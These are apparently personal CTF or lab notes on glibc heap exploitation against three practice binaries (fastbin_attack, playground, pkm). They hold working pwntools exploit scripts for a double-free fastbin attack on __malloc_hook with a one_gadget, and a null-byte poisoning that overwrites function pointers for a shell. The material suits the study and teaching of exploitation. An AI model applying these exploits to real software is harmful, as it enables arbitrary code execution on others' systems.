# Heap

# fastbin-attack

# Environment setup

We are given the loader because there may be inconsistencies with the given libc and the system loader:

> ls
fastbin_attack  ld-2.23.so  libc-2.23.so  port

How do we bind the given loader and libc to the binary?

  1. Fastest way: set the LD_PRELOAD environmental variable:

    LD_PRELOAD=./libc-2.23.so ./binary

    This solution uses system's loader.

  2. To use both a different loader and a different library:

    ./ld-2.23.so --library-path ./lib ./binary
  3. Most sofisticated way:

    NixOS/patchelf: A small utility to modify the dynamic linker and RPATH of ELF executables (github.com)

     patchelf --set-interpreter ./ld-2.23.so --replace-needed libc.so.6 ./libc-2.23.so ./binary

    To check which library a binary (./binary) we can use ldd ./binary.

If we run fastbin-attack with the 1st method we get a SEGFAULT, because we need also the loader. Also the following:

./ld-2.23.so --library-path ./lib ./fastbin-attack

goes in SEGFAULT.

# note on Ghidra pseudo C readability

While exploring the pseudo C generated by Ghidra, we notice that some pieces of code are very hard to read, like disassembled while loops:

  while (((int)i < 100 && (*(long *)(entries + (long)(int)i * 0x10) != 0))) {
    i = i + 1;
  }

Since we are incresing the size of the single item, we need to decrease the number of array cells (1600*1=200*8). Result:

  while (((int)i < 100 && (entries[(long)(int)i * 2] != 0))) {
    i = i + 1;
  }

# What does it do

Basically the binary manipulates lists that have the following structure:

Pointer to return space

Then we have another list that contains zero or one depending if the pointer contained in the first column is valid or not. Actually we have no second list, retyping in Ghidra fixed that for us. It allows us to allocate, write and free some text by using the heap.

A problem with read_entry

The read_entry function has a security vulnerability:

void read_entry(void)

{
  int iVar1;

  printf("Index: ");
  iVar1 = read_integer();
  if ((iVar1 < 0) || (99 < iVar1)) {
    puts("Index out of range!");
  }
  else {
    if (entries[(long)iVar1 * 2] == 0) {
      puts("Not allocated yet!");
    }
    else {
      puts((char *)entries[(long)iVar1 * 2]);
    }
  }
  return;
}

It prints the entries variable after checking if the pointer is valid, but it does not check if the pointer has been freed. This is a memory leak. If you are wondering what that check should look like, this is the relevent snippet from the write_entry function:

...
else {
    if (*(char *)((long)entries + (long)i * 16 + 12) == '\x01') {
        puts("Can\'t write on a freed entry!");
}
...

The check is performed against the state list that was introduced before.

Note: entries is a global variable.

how to put breakpoints in PIE binaries

Given the address of a certain instruction in a disassembled binary, for example we can call it <ADDR>, we can still put a breakpoint in it:

gdb.attach(r, '''
    brva <ADDR> <BINARY>
    c
''')

more improvements on disassembled code readability

After retyping the structure used by the binary, we get the following code for the write_entry function:

void write_entry(void)

{
  int i;
  printf("Index: ");
  i = read_integer();
  if ((i < 0) || (99 < i)) {
    puts("Index out of range!");
  }
  else {
    if (*(char *)((long)&entries[i].size + 4) == '\x01') {
      puts("Can\'t write on a freed entry!");
    }
    else {
      if (entries[i].msg == (char *)0x0) {
         puts("Not allocated yet!");
      }
      else {
         printf("Content: ");
         read(0,entries[i].msg,(ulong)*(uint *)&entries[i].size);
         entries[i].msg[*(int *)&entries[i].size - 1] = '\0';
         puts("Done!");
      }
    }
  }
  return;
}

Which is much better if you ask me. Still something is wrong:

if (*(char *)((long)&entries[i].size + 4) == '\x01')

This probably means that size actually is not a long (8 bytes), but it is an int (4 bytes). If we edit the structure according to this, it would have a char* and two int. New pseudo code of the same function:

void write_entry(void)

{
  int i;
  printf("Index: ");
  i = read_integer();
  if ((i < 0) || (99 < i)) {
    puts("Index out of range!");
  }
  else {
    if (*(char *)&entries[i].freed == '\x01') {
      puts("Can\'t write on a freed entry!");
    }
    else {
      if (entries[i].msg == (char *)0) {
         puts("Not allocated yet!");
      }
      else {
         printf("Content: ");
         read(0,entries[i].msg,(ulong)(uint)entries[i].size);
         entries[i].msg[entries[i].size - 1] = '\0';
         puts("Done!");
      }
    }
  }
  return;
}

Which is actually readable.

A problem with free_entry

void free_entry(void)
{
  uint i;
  printf("Index: ");
  i = read_integer();
  if (((int)i < 0) || (99 < (int)i)) {
    puts("Index out of range!");
  }
  else {
    free(entries[i].msg);
    *(undefined *)&entries[i].freed = 1;
    printf("Index %d freed!\n",(ulong)i);
  }
  return;
}

Same as the other function: there is no check in place. We can free a chunk more than once. This means that we can basically print everything we want, which means that we can also leak the address of libc.

# The exploit in theory

  1. vulnerability: read_entry, can be used to leak stuff.

  2. vulnerability: free_entry, we can free more than once chunks -> fastbin attack to make malloc allocate something in memory: the address of system() into either __free_hook or __malloc_hook.

    More specifically when overwriting __free_hook we overwrite it with system and we pass /bin/sh to it. Instead when we overwrite __malloc_hook we use one_gadget since the parameter of the malloc is a number, not a string.

# The exploit in practice

simplifying the process

To change loader and library with pwntools (if we do not want to use the patched binary):

r = ssh.process("./fa/ld-2.23.so --library-path ./fa ./fa/fastbin_attack".split(" "))

Assuming that the parent folder containing all the needed files is called fa.

To simplify the work we will build functions in python to interact with the functions of the binary, which are:

  1. alloc
  2. write_entry
  3. read_entry
  4. free_entry

So, for example:

def alloc(size):
    r.recvuntil(b'> ')
    r.sendline(b'1')
    r.recvuntil(b'Size: ')
    r.sendline(b'%d', % size)

We will also need to parse the index which gets printed by the function:

import re

def alloc(size):
    ...
    m = re.match(b"Allocated at index (\d+)!", indexline)
    return int(m.group(1))

Same for writing chunks:

def write_chunk(index, content):
    r.recvuntil(b"> ")
    r.sendline(b"2")
    r.recvuntil(b"Index: ")
    r.sendline(b"%d" % index)
    r.recvuntil(b"Content: ")
    r.send(content)

And for reading and freeing:

def read_chunk(index):
    r.recvuntil(b"> ")
    r.sendline(b"3")
    r.recvuntil(b"Index: ")
    r.sendline(b"%d" % index)
    data = r.recvuntil(b"Options:\n")
    return data[:-len(b"Options:\n")]    # we need to process received output
                                        # we remove 'Output:\n' from received
                                        # output

def free_chunk(index):
    r.recvuntil(b"> ")
    r.sendline(b"4")
    r.recvuntil(b"Index: ")
    r.sendline(b"%d" % index)

Now that we can interact easily with the functions we can build the actual exploit:

chunk_a = alloc(0x200)
chunk_b = alloc(0x30)
free_chunk(chunk_a)
libc_leak = u64(read_chunk(chunk_a)[:6]+b"\x00\x00")
libc_base = libc_leak - 0x3c4b78

print("[!] libc_leak: %#x" % libc_leak)
print("[!] libc_base: %#x" % libc_base)

Part 1: leaking libc address

We need to leak libc, how do we do it? We allocate a small bin and free it, since after the free it will contain an address to a location which is is located into libc:

chunk_a = alloc(0x200)
free(chunk_a)
print(chunk_a, read(chunk_a))

This happens because when we have only one chunk it will contain a random libc address, from which we can compute the address of the base of the libc. To find the offset we will use vmmap in gdb.

Part 2: exploiting __free_hook __malloc_hook to spawn a shell

chunk_c = alloc(size)
chunk_d = alloc(size)

free_chunk(chunk_c)
free_chunk(chunk_d)
free_chunk(chunk_c)

By allocating two chunks and freeing both of them, and again the first one, we will get a loop: chunk_1 points to chunk_2 and vice versa. Then

chunk_A = alloc(SIZE)
write_chunk(b'A'*8)

chunk_B = alloc(SIZE)
chunk_C = alloc(SIZE)
# trigger
chunk_D = alloc(SIZE)

Will result in 0x4141414141414141 becoming ?. Now we can put the address of __free_hook in its place.

Still the program crashes because the malloc realizes that there's a mismatch with the size of the bin. We need to find some bytes not zeroed that are located before our target and try to match the size with those bytes, since they will be our new size for the chunk.

If we do not find those bytes we can search elsewhere, for example near __malloc_hook.

We find that before __malloc_hook we have an address, but we know that after translating it to decimal it would be a gigantic number. We could exploit the alignment to take only part of it. For example we can go from 0x7ffff7... to 0x7f. To align we just add some bytes to the address of the cell to 'cut' its content according to our needs.

Then we take the address of that cell, we compute its offset, and put it in our script in place of __malloc_hook. Full exploit:

# part 1: leaking libc address
input('press any key to start exploiting...')
chunk_a = alloc(0x200)
chunk_b = alloc(0x30)
free_chunk(chunk_a)
libc_leak = u64(read_chunk(chunk_a)[:6]+b"\x00\x00")

# libc base address found by checking the base of libc with
# mmap in gdb, and then computing the difference wrt the
# address just printed
libc_base = libc_leak - 0x3c4b78
malloc_hook = libc_base + malloc_hook_offset
one_gadget = libc_base + magic_gadget

print('[!] malloc_hook: %#x' % malloc_hook)
print('[!] libc_leak: %#x' % libc_leak)
print('[!] libc_base: %#x' % libc_base)
print('[!] one_gadget: %#x' % one_gadget)

# part 2: the exploit
chunk_c = alloc(size)
chunk_d = alloc(size)

# we created the loop
free_chunk(chunk_c)
free_chunk(chunk_d)
free_chunk(chunk_c)

# the vuln code will use chunk_c like it's both still allocated
# and like it is not
# which means that we can write a target address into memory
# and we can override the hook of the malloc function to get
# arbitrary code execution when its called
chunk_c = alloc(size)
write_chunk(chunk_c, p64(malloc_hook-0x23))

alloc(size)
alloc(size)

# with the following call to alloc()
# we are going to allocate a new chunk into a fast bin
# the fast bin address will be taken from the fast bin
# double linked list which we corrupted to point to an
# arbitrary address instead of the one of a valid chunk
# this means that we will allocate and make writable any
# part of the memory pointed by the address we wrote before
target = alloc(size)

# we will do what we just described to write the address of
# a batch of instructions that will spawn a shell in place of
# the hook of the malloc function
write_chunk(target, b'A'*(35-16) + p64(one_gadget))

# we will call the malloc function, since now it's hook
# points to the magic gadget, a shell will be spawned instead
# of calling the malloc
input('press any key to execute payload...')
r.recvuntil(b"> ")
r.sendline(b"1")
r.recvuntil(b"Size: ")
input('press any key...')
r.sendline(b"%d" % size)
r.interactive()

# playground

# What does it do

It has only the main function which encompasses all the functionality. There are some nested loops that executes the following functionalities:

malloc n, free p, show p [n], write p [n]

Basically it can:

  • Allocate a chunk of size n and return its address
  • Free a chunk, given its address p
  • Show the content of a chunk given p. By default it shows the first 8 bytes of data, unless a size n is specified.
  • Write some data into a chunk, given p.

There are some obvious vulnerabilities: for e.g. the chunk freeing is achieved without checking if the chunk is allocated or not, which could be used as an attack surface to carry a fast bin attack.

# libc version

A note about libc version: the program is using libc version 2.27 which incorporates a backport of the tcache key.

# The exploit

Here's what we need to do in order to exploit this binary:

  1. Set to zero min_heap
  2. Overwrite max_heap with a high value
  3. Overwrite __malloc_hook with the magic gadget.

Note: min_heap and max_heap are two global variables on which a sort of boundary check is performed before working with the heap.

Setting min_heap to zero

We need to exploit the presence of the key in the tcache, since it allows us to overwrite any DWORD with zeros. Here's an example:

$ LD_PRELOAD=./libc-2.27.so ./playground
pid: 10714
main: 0x5555555551d9
> malloc 32
==> 0x555555559280
> malloc 32
==> 0x5555555592b0
> free 0x555555559280
==> ok
> free  0x5555555592b0
==> ok
> show  0x5555555592b0 2
0x5555555592b0:   0x555555559280
0x5555555592b8:   0x555555559010
> write 0x5555555592b0 8
==> read
AAAAAAAAA
==> done
> Commands: malloc n, free p, show p [n], write p [n]
> show 0x5555555592b0 2
0x5555555592b0: 0x4141414141414141
0x5555555592b8:   0x555555559010
> malloc 32
==> 0x5555555592b0
> malloc 32
[1]    10714 segmentation fault (core dumped)  LD_PRELOAD=./libc-2.27.so ./playground

We can see that the program segfaulted because it tried to allocate 0x4141414141414141.

# Note about one_gadget

If we use the following flag: --level 1 when running one_gadget it will find a lot more gadgets.

# pkm

$ file pkm_nopie
pkm_nopie: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 4.4.0, BuildID[sha1]=13e816c2d730c2c5220d79c23e1d166432537e9b, with debug_info, not stripped

# A recall on the heap

Allocated chunk

    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of previous chunk, if unallocated (P clear)  |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of chunk, in bytes                     |A|M|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             User data starts here...                          .
            .                                                               .
            .             (malloc_usable_size() bytes)                      .
            .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             (size of chunk, but used for application data)    |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of next chunk, in bytes                |A|0|1|
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Free chunk

    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of previous chunk, if unallocated (P clear)  |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `head:' |             Size of chunk, in bytes                     |A|0|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Forward pointer to next chunk in list             |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Back pointer to previous chunk in list            |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Unused space (may be 0 bytes long)                .
            .                                                               .
            .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `foot:' |             Size of chunk, in bytes                           |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of next chunk, in bytes                |A|0|0|
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Note about gdb ptype command

ptype is a gdb command that allows to print variables of binaries that include symbols. For example in this binary we have the pkm variable, which is a struct. Thanks to that command we can print it and implement it in Ghidra for much easier code readability:

pwndbg> ptype pkm
type = struct pkm {
    uint64_t atk;
    uint64_t def;
    uint64_t hp;
    uint64_t max_hp;
    uint8_t status;
    char *name;
    uint64_t IVs[5];
    move moves[10];
}
pwndbg> ptype move
type = struct move {
    char *name;
    void (*fun)(struct pkm *, struct pkm *);
}

More on that:

ptype typename Print a description of data type typename. typename may be the name of a type, or for C code it may have the form class class-name', struct struct-tag', union union-tag' or enum enum-tag'.

Some informations about the heap management

If we try to allocate a new pokemon, and to rename it, we get the following heap configuration:

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x101

Allocated chunk | PREV_INUSE
Addr: 0x405100
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x405120
Size: 0x20ee1

As we can see the chunk 0x101 bytes big is the chunk containing the pokemon, since it is allocated with a malloc(0xf8). The 0x21 chunk instead is the chunk allocated to read from stdin the pokemon name, since the get_string function allocates a chunk of arbitrary size, and I passed to it len('pikachu'). Content of pokemon in the heap:

x/12gx  0x405000
0x405000:       0x0000000000000000      0x0000000000000101
0x405010:       0x0000000000000028      0x000000000000000a
0x405020:       0x0000000000000064      0x0000000000000064
0x405030:       0x0000000000000000      0x0000000000405110

Note that the chunk, as said before, is 257 bytes long, which is 32 WORDS. From 0x405100 and on we have another chunk, which in this case is the one containing the string which represents the pokemon name, and then we have the top chunk.

As for the content itself, we've got the statistics, which is decimal values look like this:

 *Name: pikachu
 *ATK:  40
 *DEF:  10
 *HP:   100/100
 *Moves:

And then there's the pointer to the pokemon name, which is 0x405110. As for the second chunk we've got:

0x405100:       0x0000000000000000      0x0000000000000021
0x405110:       0x00756863616b6970      0x0000000000000000

Which makes sense, since its 0x21 bytes long, which is 4 WORDS long.

# Exploit idea

We need to put in place a null byte poisoning exploit, which can be achieved trough the function used to assign names to pokemons:

char * get_string(void) {
  long in_FS_OFFSET;
  uint size;
  uint i;
  char *chunk;
  long canary;

  canary = *(long *)(in_FS_OFFSET + 0x28);
  size = 0;
  while (size == 0) {
    printf("[.] insert length: ");
    __isoc99_scanf(&format_str,&size);
  }
  chunk = (char *)malloc((ulong)size);
  i = 0;
  while ((i < size && (read(0,chunk + i,1), chunk[i] != '\n'))) {
    i = i + 1;
  }
                    /* here's your null byte */
  chunk[i] = '\0';
  if (canary == *(long *)(in_FS_OFFSET + 0x28)) {
    return chunk;
  }
  __stack_chk_fail();
}

To bypass the null byte overflow mitigation we need to exploit the rename_pokemon function, and fill a buffer which should contain a pokemon name with fake previous sizes. This is the function that calls get_string:

void rename_pkm(void) {
  pkm *ppVar1;
  byte pkm;
  undefined8 uVar2;

  puts("[*] Rename PKM!");
  pkm = get_pkm();
  if ((*(long *)((long)&(&pkms)[(int)(uint)pkm]->name + 7) != 0) &&
     (*(undefined **)((long)&(&pkms)[(int)(uint)pkm]->name + 7) != UNKNOWN)) {
    free(*(void **)((long)&(&pkms)[(int)(uint)pkm]->name + 7));
  }
  ppVar1 = (&pkms)[(int)(uint)pkm];
  uVar2 = get_string();
  *(undefined8 *)((long)&ppVar1->name + 7) = uVar2;
  return;
}

Where UNKNOWN is a global variable containing an address to the 'PKM' hardcoded string. This means that we can avoid to free a chunk if we previously wrote that in it.

# How to perform the null byte poisoning

If we create two pokemon and allocate two chunks of 0x200, that's the situation on the heap:

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x101

Allocated chunk | PREV_INUSE
Addr: 0x405100
Size: 0x101

Allocated chunk | PREV_INUSE
Addr: 0x405200
Size: 0x211

Allocated chunk | PREV_INUSE
Addr: 0x405410
Size: 0x211

Top chunk | PREV_INUSE
Addr: 0x405620
Size: 0x209e1

Let's call those chunk as follows:

  1. Chunk 1: first chunk in the heap, it's pokemon 1
  2. Chunk 2: second chunk, it's pokemon 2
  3. Chunk 3: third chunk, it corresponds to pokemon 1 name
  4. Chunk 4: third chunk, it corresponds to pokemon 2 name

Let's remember that the vulnerable function is the one that allocates the chunks of arbitrary length, which is the one we used to allocate the two 0x200 chunks. here's their content:

pwndbg> x/68gx 0x405200
0x405200:       0x0000000000000000      0x0000000000000211
0x405210:       0x4141414141414141      0x4141414141414141
0x405220:       0x4141414141414141      0x4141414141414141
0x405230:       0x4141414141414141      0x4141414141414141
0x405240:       0x4141414141414141      0x4141414141414141
0x405250:       0x4141414141414141      0x4141414141414141
0x405260:       0x4141414141414141      0x4141414141414141
0x405270:       0x4141414141414141      0x4141414141414141
0x405280:       0x4141414141414141      0x4141414141414141
0x405290:       0x4141414141414141      0x4141414141414141
0x4052a0:       0x4141414141414141      0x4141414141414141
0x4052b0:       0x4141414141414141      0x4141414141414141
0x4052c0:       0x4141414141414141      0x4141414141414141
0x4052d0:       0x4141414141414141      0x4141414141414141
0x4052e0:       0x4141414141414141      0x4141414141414141
0x4052f0:       0x4141414141414141      0x4141414141414141
0x405300:       0x4141414141414141      0x4141414141414141
0x405310:       0x4141414141414141      0x4141414141414141
0x405320:       0x4141414141414141      0x4141414141414141
0x405330:       0x4141414141414141      0x4141414141414141
0x405340:       0x4141414141414141      0x4141414141414141
0x405350:       0x4141414141414141      0x4141414141414141
0x405360:       0x4141414141414141      0x4141414141414141
0x405370:       0x4141414141414141      0x4141414141414141
0x405380:       0x4141414141414141      0x4141414141414141
0x405390:       0x4141414141414141      0x4141414141414141
0x4053a0:       0x4141414141414141      0x4141414141414141
0x4053b0:       0x4141414141414141      0x4141414141414141
0x4053c0:       0x4141414141414141      0x4141414141414141
0x4053d0:       0x4141414141414141      0x4141414141414141
0x4053e0:       0x4141414141414141      0x4141414141414141
0x4053f0:       0x4141414141414141      0x4141414141414141
0x405400:       0x4141414141414141      0x4141414141414141
0x405410:       0x0000000000000000      0x0000000000000211

In the last row we have the header of the following chunk. As for the chunk at 0x405200, we have the usual structure:

    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of previous chunk, if unallocated (P clear)  |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of chunk, in bytes                     |A|M|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             User data starts here...                          .
            .                                                               .
            .             (malloc_usable_size() bytes)                      .
            .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             (size of chunk, but used for application data)    |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of next chunk, in bytes                |A|0|1|
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Now, if we delete the first pokemon (chunk 1), we free both chunk 1 and chunk 3, since the binary will delete both the chunk containing the pokemon itself, and the chunk containing its name. We end up in this situation:

pwndbg> heap
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x405000
Size: 0x101
fd: 0x405200
bk: 0x7ffff7dcdc80

Allocated chunk
Addr: 0x405100
Size: 0x100

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x405200
Size: 0x211
fd: 0x7ffff7dcdc80
bk: 0x405000

Allocated chunk
Addr: 0x405410
Size: 0x210

Top chunk | PREV_INUSE
Addr: 0x405620
Size: 0x209e1
pwndbg> x/68gx 0x405200
0x405200:       0x0000000000000000      0x0000000000000211
0x405210:       0x00007ffff7dcdc80      0x0000000000405000
0x405220:       0x4141414141414141      0x4141414141414141
0x405230:       0x4141414141414141      0x4141414141414141
0x405240:       0x4141414141414141      0x4141414141414141
0x405250:       0x4141414141414141      0x4141414141414141
0x405260:       0x4141414141414141      0x4141414141414141
0x405270:       0x4141414141414141      0x4141414141414141
0x405280:       0x4141414141414141      0x4141414141414141
0x405290:       0x4141414141414141      0x4141414141414141
0x4052a0:       0x4141414141414141      0x4141414141414141
0x4052b0:       0x4141414141414141      0x4141414141414141
0x4052c0:       0x4141414141414141      0x4141414141414141
0x4052d0:       0x4141414141414141      0x4141414141414141
0x4052e0:       0x4141414141414141      0x4141414141414141
0x4052f0:       0x4141414141414141      0x4141414141414141
0x405300:       0x4141414141414141      0x4141414141414141
0x405310:       0x4141414141414141      0x4141414141414141
0x405320:       0x4141414141414141      0x4141414141414141
0x405330:       0x4141414141414141      0x4141414141414141
0x405340:       0x4141414141414141      0x4141414141414141
0x405350:       0x4141414141414141      0x4141414141414141
0x405360:       0x4141414141414141      0x4141414141414141
0x405370:       0x4141414141414141      0x4141414141414141
0x405380:       0x4141414141414141      0x4141414141414141
0x405390:       0x4141414141414141      0x4141414141414141
0x4053a0:       0x4141414141414141      0x4141414141414141
0x4053b0:       0x4141414141414141      0x4141414141414141
0x4053c0:       0x4141414141414141      0x4141414141414141
0x4053d0:       0x4141414141414141      0x4141414141414141
0x4053e0:       0x4141414141414141      0x4141414141414141
0x4053f0:       0x4141414141414141      0x4141414141414141
0x405400:       0x4141414141414141      0x4141414141414141
0x405410:       0x0000000000000210      0x0000000000000210

That's needed to trigger the null byte: in fact if we allocate again pokemon 1 and its name, we should get two identical sized chunks in the same spots as before, but the allocation of the chunk representing the pokemon name (chunk 3) would result in a null byte overflow into the name of pokemon 2 (chunk 4), which is immediatly after.

# After executing the poisoning

This is the script stdout that led to the heap setup below:

creating a pokemon... done! id 0
creating a pokemon... done! id 1
creating a pokemon... done! id 2
creating a pokemon... done! id 3
renaming pkm (id: 2)
renaming pkm (id: 3)
creating a pokemon... done! id 4
renaming pkm (id: 3)
[1] initial setup done. Press any key to continue...
killing pkm (id: 3) :(
creating a pokemon... done! id 3
[2] freed B. Press any key to continue...
renaming pkm (id: 2)
[3] did null byte, now B length should be one byte smaller. Press any key to continue...
renaming pkm (id: 1)
creating a pokemon... done! id 5
[4] allocated B1 and B2. Press any key to continue...
killing pkm (id: 1) :(
creating a pokemon... done! id 1
[5] freed B1. Press any key to continue...
killing pkm (id: 4) :(
[6] freed C. Press any key to continue...
renaming pkm (id: 0)
[7] Allocated overlapping chunk. Press any key to continue...
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x101

Allocated chunk | PREV_INUSE
Addr: 0x405100
Size: 0x101

Allocated chunk | PREV_INUSE
Addr: 0x405200
Size: 0x101

Allocated chunk | PREV_INUSE
Addr: 0x405300
Size: 0x101

Allocated chunk | PREV_INUSE
Addr: 0x405400
Size: 0x211

Allocated chunk | PREV_INUSE
Addr: 0x405610
Size: 0x411

Top chunk | PREV_INUSE
Addr: 0x405a20
Size: 0x205e1
0x405610:       0x4141414141414141      0x0000000000000411
0x405620:       0x00007fff004d4b50      0x00007ffff7dcdd10
0x405630:       0x0000000000000208      0x0000000000000208
0x405640:       0x0000000000000208      0x0000000000000208
0x405650:       0x0000000000000208      0x0000000000000208
0x405660:       0x0000000000000208      0x0000000000000208
0x405670:       0x0000000000000208      0x0000000000000208
0x405680:       0x0000000000000208      0x0000000000000208
0x405690:       0x0000000000000208      0x0000000000000208
0x4056a0:       0x0000000000000208      0x0000000000000208
0x4056b0:       0x00000000000000a0      0x0000000000000100
0x4056c0:       0x0000000000000028      0x000000000000000a
0x4056d0:       0x0000000000000064      0x0000000000000064
0x4056e0:       0x0000000000000208      0x0000000000402036
0x4056f0:       0x0000000000000005      0x0000000000000208
0x405700:       0x0000000000000208      0x0000000000000208
0x405710:       0x0000000000000208      0x0000000000000000
0x405720:       0x0000000000000000      0x0000000000000000
0x405730:       0x0000000000000000      0x0000000000000000
0x405740:       0x0000000000000000      0x0000000000000000
0x405750:       0x0000000000000000      0x0000000000000000
0x405760:       0x0000000000000000      0x0000000000000000
0x405770:       0x0000000000000000      0x0000000000000000
0x405780:       0x0000000000000000      0x0000000000000000
0x405790:       0x0000000000000000      0x0000000000000000
0x4057a0:       0x0000000000000000      0x0000000000000000
0x4057b0:       0x0000000000000000      0x0000000000000061
0x4057c0:       0x00007ffff7dcdcd0      0x00007ffff7dcdcd0
0x4057d0:       0x0000000000000208      0x0000000000000208
0x4057e0:       0x0000000000000208      0x0000000000000208
0x4057f0:       0x0000000000000208      0x0000000000000208
0x405800:       0x0000000000000208      0x0000000000000208
0x405810:       0x0000000000000060      0x0000000000000208
0x405820:       0x0000000000000210      0x0000000000000100
0x405830:       0x0000000000000028      0x000000000000000a
0x405840:       0x0000000000000064      0x0000000000000064
0x405850:       0x0000000000000000      0x0000000000402036
0x405860:       0x0000000000000004      0x0000000000000000
0x405870:       0x0000000000000000      0x0000000000000000
0x405880:       0x0000000000000000      0x0000000000000000
0x405890:       0x0000000000000000      0x0000000000000000
0x4058a0:       0x0000000000000000      0x0000000000000000
0x4058b0:       0x0000000000000000      0x0000000000000000
0x4058c0:       0x0000000000000000      0x0000000000000000
0x4058d0:       0x0000000000000000      0x0000000000000000
0x4058e0:       0x0000000000000000      0x0000000000000000
0x4058f0:       0x0000000000000000      0x0000000000000000
0x405900:       0x0000000000000000      0x0000000000000000
0x405910:       0x0000000000000000      0x0000000000000000
0x405920:       0x0000000000000000      0x00000000000206e1

As you can see from 0x4056b0, if we do the heap command in gdb, it does not report the overlapped chunk which we get printed when we manually print heap addresses. Looks like we managed to correctly overflow and allocate two overlapping chunks. Now we can exploit that to carry the attack.

# And now?

Basically up to now we just did things to trick malloc into giving us two chunks allocated and overlapping. Now we can actuate the exploit, which consists in replacing the function pointer of some move of a pokemon (chunk B2) with our exploit to get rce. We can do that by writing a target address in the overlapped chunk resulting from the null byte overflow. The binary helps us because each pkm struct has an array of function pointer which gets called by a function of the binary. So, to recap:

  1. We perform the null byte exploit;
  2. We use the overlapping chunk to write an address of interest in the moves array of the overlapped pokemon;
  3. We call the function which executes the code at the given address to gain RCE.

We could write a one_gadget address, or somethigs else. In my case one_gadget was not working, so I wrote the following into the overlapped pokemon:

p = {
    'binsh' : b'/bin/sh\0',
    'stats' : p64(1000)*4,
    'name' : p64(0),
    'IVs' : p64(0)*5,
    'moves' : (p64(0) + p64(target))*10
}

With binsh written in the chunk header, since by checking with gdb I saw that the argument passed to the address called during the fight_pkm was in the beginning of its chunk. Problem is, first of all we need to leak an address belonging to libc... This can be done via some symbols already resolved and present in the GOT, since the binary is not PIE. If we exploit the overlapping chunks to put an adress of the GOT into one of the overlapped pokemon chunk, and in particular into the name field of the pkm struct, we can print a libc runtime address. Code for this:

p = {
    'pkm' : b'PKM\0',
    'padding' : b'A'*196,
    'gotaddr' : p64(0x404018)   # nopie binary, we can hardcode addresses
}
rename_handler(r, pkFIN, len(formatter(p)), formatter(p))
leak = info_handler(r, pkB2)
libcleak = hex(unpack(leak[0], 'all', endian='little', sign=False))
print(colors['red'] + 'libc leak: {}'.format(hex(int(libcleak, 16))))
printer(colors['cyan'] +

So we have a two stage exploit:

   1. First we leak `libc`
   2. Then we use the payload to spawn a shell

Script's stdout of the exploit in action:

renaming pkm (id: 0)
getting info about pkm (id: 5)
libc leak: 0x7ffff7a7f6c0
[8] Wrote address of GOT in some chunk to leak libc. Press any key to continue...
system address: 0x7ffff7a395f0
[9] Press any key to write target in memory...
renaming pkm (id: 0)
[10] Press any key to call target...
pkm 5 is fighting pkm 1 with 9
[*] Switching to interactive mode
 [%] (null) uses (null) on PKM!
$